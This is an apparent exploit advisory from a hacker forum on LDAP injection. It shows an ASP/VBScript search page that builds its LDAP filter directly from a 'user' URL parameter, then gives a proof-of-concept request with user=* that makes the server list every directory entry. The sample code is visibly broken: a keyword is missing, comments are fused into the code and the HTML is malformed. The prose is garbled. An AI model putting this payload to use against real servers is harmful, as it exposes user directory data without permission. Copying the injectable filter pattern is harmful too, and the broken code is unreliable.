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[+] Vurnerebility: LDAP Injection
[+] Category : Implemented Web exploit
[+] Category : Attack Technique
[+] Author : mc2_s3lector
[+] dork : X/o\"
[+] Contact : www.yogyacarderlink.web.id
[+] date : 4-2-10
[+] biGthank to : Allah SWT,jasakom,KeDai Computerworks,0n3-d4y n3ro,eplaciano, all*.indonesian like a coding,
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Directory acces protokol/directory manipulation,protokol breaker->standar protocol,query
custom statement,page request,componen execute command,data base server,web apps services
modify,remove etc.
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code:
<html>
<head>
<body>
<%@ Language=VBScript %>
<%
Dim userName
Dim filter
Dim ldapObj
Const LDAP_SERVER = "ldap.example"
userName = Request.QueryString("user")<-----------*1(LOOK THIS BUG LINE PARAMETER USER=EMPTY)
( userName = "" ) then
Response.Write("<b>Invalid
request. Please specify a
valid user name</b><br>")
Response.End()
end if
filter= "(uid=" + CStr(userName) + //((*1))
userName used to initialize filter variable on this line direct query LDAP call to finf filter on ((*.3))
")" ' searching
for the user entry
'Creat LDAP object and setting
the base dn
Set ldapObj =
Server.CreateObject("IPWorksASP.LDAP")
ldapObj.ServerName = LDAP_SERVER
ldapObj.DN =
"ou=people,dc=spilab,dc=com"
'Setting the search filter
ldapObj.SearchFilter = ((*.3))filter<---call SearchFilter on this line
ldapObj.Search
'Showing the user ennumeratin info
While ldapObj.result = ((1*.4 to *.5))
Response.Write("<p>")
Write("<b><u>User
information for : " +
ldapObj.AttrValue(0) + "</u></b><br>")
For i = 0 To ldapObj.AttrCount -1
Response.Write("<b>" +
ldapObj.AttrType(i) +
"</b> : " + ldapObj.AttrValue(i) + "<br>" )
Response.Write("</p>")
Wend ((*.5))
%>
</head>
</body>
</html>
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control over LDAP to querry =server LDAP & get query result from ((*.4 to *.5))
POC:
http://server/ldapsearch.asp?user=* <----send the * character in the parameter user,result flter variable in code to be initialized with
(uid=*). The resulting LDAP statement will make the server return
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